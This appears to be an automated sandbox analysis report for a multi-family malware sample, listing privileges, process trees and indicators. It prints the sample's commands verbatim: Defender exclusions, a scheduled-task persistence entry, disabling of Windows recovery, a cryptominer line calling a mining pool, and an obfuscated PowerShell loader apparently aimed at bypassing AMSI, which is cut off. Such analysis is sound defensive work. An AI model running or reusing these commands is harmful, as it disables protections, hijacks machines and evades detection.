Token: SeShutdownPrivilege	3744	RuntimeBroker.exe
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2444	svchost.exe
Token: SeIncreaseQuotaPrivilege	2444	svchost.exe
Token: SeSecurityPrivilege	2444	svchost.exe
Token: SeTakeOwnershipPrivilege	2444	svchost.exe
Token: SeLoadDriverPrivilege	2444	svchost.exe
Token: SeSystemtimePrivilege	2444	svchost.exe
Token: SeBackupPrivilege	2444	svchost.exe
Token: SeRestorePrivilege	2444	svchost.exe
Token: SeShutdownPrivilege	2444	svchost.exe
Token: SeSystemEnvironmentPrivilege	2444	svchost.exe
Token: SeUndockPrivilege	2444	svchost.exe
Token: SeManageVolumePrivilege	2444	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2444	svchost.exe
Token: SeIncreaseQuotaPrivilege	2444	svchost.exe
Token: SeSecurityPrivilege	2444	svchost.exe
Token: SeTakeOwnershipPrivilege	2444	svchost.exe
Token: SeLoadDriverPrivilege	2444	svchost.exe
Token: SeSystemtimePrivilege	2444	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5056	cmd.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1876	Conhost.exe

Suspicious use of UnmapMainImage 1 TTPs 1 IoCs

Process Hollowing

T1055.012

pid	Process
3244	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 2840	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	85
PID 4648 wrote to memory of 3404	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	88
PID 4648 wrote to memory of 4124	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	90
PID 4648 wrote to memory of 3764	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	92
PID 4648 wrote to memory of 980	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	95
PID 980 wrote to memory of 2824	980	cmd.exe	97
PID 4648 wrote to memory of 3996	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	99
PID 3996 wrote to memory of 4700	3996	cmd.exe	101
PID 4648 wrote to memory of 4140	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	102
PID 4140 wrote to memory of 4464	4140	cmd.exe	104
PID 4648 wrote to memory of 1236	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	105
PID 1236 wrote to memory of 1232	1236	cmd.exe	107
PID 4648 wrote to memory of 1244	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	108
PID 4648 wrote to memory of 2632	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	110
PID 4648 wrote to memory of 4260	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	112
PID 4648 wrote to memory of 3960	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	114
PID 4648 wrote to memory of 4908	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	118
PID 4648 wrote to memory of 4876	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	120
PID 4648 wrote to memory of 4304	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 4648 wrote to memory of 3876	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	131
PID 3876 wrote to memory of 4168	3876	cmd.exe	135
PID 4648 wrote to memory of 5056	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	140
PID 4648 wrote to memory of 3040	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	142
PID 4796 wrote to memory of 2648	4796	cmd.exe	144
PID 2648 wrote to memory of 616	2648	powershell.exe	5
PID 616 wrote to memory of 672	616	winlogon.exe	7
PID 616 wrote to memory of 888	616	winlogon.exe	11
PID 616 wrote to memory of 1016	616	winlogon.exe	13
PID 616 wrote to memory of 516	616	winlogon.exe	14
PID 616 wrote to memory of 736	616	winlogon.exe	15
PID 616 wrote to memory of 1052	616	winlogon.exe	16
PID 616 wrote to memory of 1100	616	winlogon.exe	17
PID 616 wrote to memory of 1176	616	winlogon.exe	18
PID 616 wrote to memory of 3600	616	winlogon.exe	148
PID 616 wrote to memory of 1184	616	winlogon.exe	19
PID 616 wrote to memory of 1204	616	winlogon.exe	21
PID 616 wrote to memory of 1276	616	winlogon.exe	22
PID 616 wrote to memory of 1324	616	winlogon.exe	23
PID 616 wrote to memory of 1396	616	winlogon.exe	24
PID 616 wrote to memory of 1560	616	winlogon.exe	25
PID 616 wrote to memory of 1600	616	winlogon.exe	26
PID 616 wrote to memory of 1616	616	winlogon.exe	27
PID 616 wrote to memory of 1640	616	winlogon.exe	28
PID 616 wrote to memory of 1672	616	winlogon.exe	29
PID 616 wrote to memory of 1804	616	winlogon.exe	30
PID 616 wrote to memory of 1860	616	winlogon.exe	31
PID 616 wrote to memory of 1892	616	winlogon.exe	32
PID 616 wrote to memory of 1972	616	winlogon.exe	33
PID 616 wrote to memory of 1988	616	winlogon.exe	34
PID 616 wrote to memory of 1496	616	winlogon.exe	35
PID 616 wrote to memory of 1464	616	winlogon.exe	36
PID 616 wrote to memory of 1872	616	winlogon.exe	37
PID 616 wrote to memory of 2020	616	winlogon.exe	38
PID 616 wrote to memory of 2128	616	winlogon.exe	39
PID 616 wrote to memory of 2232	616	winlogon.exe	41
PID 616 wrote to memory of 2432	616	winlogon.exe	42
PID 616 wrote to memory of 2444	616	winlogon.exe	43
PID 616 wrote to memory of 2480	616	winlogon.exe	45
PID 616 wrote to memory of 2488	616	winlogon.exe	46
PID 616 wrote to memory of 2548	616	winlogon.exe	47
PID 616 wrote to memory of 2596	616	winlogon.exe	48
PID 616 wrote to memory of 2684	616	winlogon.exe	49
PID 616 wrote to memory of 2696	616	winlogon.exe	50
PID 616 wrote to memory of 3068	616	winlogon.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:516
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3600

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fcd5e6d7-084b-4cf3-8833-b698897ae3ea -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-004e625e-f438-4cfb-8966-6fe7b509e53d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3efaa487-de35-4c91-8e11-96ff1d2612c9 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-62f8a6f6-9794-4648-94db-41e745d1d8df -LifetimeId:4115ad14-7b78-4198-bdd7-d7f0cb5645fb -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1184
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:1088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1672
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1464

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2020

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3204

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3244
- C:\Users\Admin\AppData\Local\Temp\2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4124
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3764
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2824
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4700
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4464
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1232
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1244
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4260
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3960
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4908
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4876
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4304
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4168
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 77.73.20.192:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/WorkerX -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:5056
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3392

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3584

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3744

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4060

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:2388

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4944

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2724

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:744

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1076

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3420

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4132

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3524

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe d164bc4abff9cae4b67386a360b0b709 xZmYcqhYa0CJ4ds+jkaCFQ.0.1.0.0.0
1⤵
PID:4472
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:3328

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3176

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3764

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:GCywWjwakKLE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HVLzvPhDHHQJLG,[Parameter(Position=1)][Type]$VjBbxdOpJn)$JeXWOTOqKFI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+'e'+''+'m'+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+'od'+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'Del'+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+','+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+',S'+'e'+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+[Char](65)+'nsi'+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+'C'+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$JeXWOTOqKFI.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$HVLzvPhDHHQJLG).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+'ed');$JeXWOTOqKFI.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+''+','+''+'H'+''+'i'+''+[Char](100)+''+'e'+'By'+'S'+'ig,'+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+'o'+[Char](116)+''+[Char](44)+''+'V'+''+'i'+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$VjBbxdOpJn,$HVLzvPhDHHQJLG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $JeXWOTOqKFI.CreateType();}$XLFspXTtVIAHH=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ros'+'o'+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+'n'+''+'3'+'2'+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+'e'+''+[Char](77)+'e'+[Char](116)+''+'h'+''+[Char](111)+'d'+[Char](115)+'');$VyOHfQbWSDTuzW=$XLFspXTtVIAHH.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'P'+'r'+''+[Char](111)+''+'c'+''+'A'+''+'d'+''+[Char](100)+'r'+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$thqIlubiSbOYBukDyPJ=GCywWjwakKLE @([String])([IntPtr]);$mwHLRAYvHxVXblpBBIdYcZ=GCywWjwakKLE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gIyOYgdwmTJ=$XLFspXTtVIAHH.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+[Char](101)+'l'+[Char](51)+'2'+'.'+''+'d'+''+[Char](108)+''+'l'+'')));$RFardoANiiJagb=$VyOHfQbWSDTuzW.Invoke($Null,@([Object]$gIyOYgdwmTJ,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'dL'+'i'+''+'b'+''+'r'+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$kEomhxjwCkGddfxyi=$VyOHfQbWSDTuzW.Invoke($Null,@([Object]$gIyOYgdwmTJ,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+'u'+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$NWGJFmK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RFardoANiiJagb,$thqIlubiSbOYBukDyPJ).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+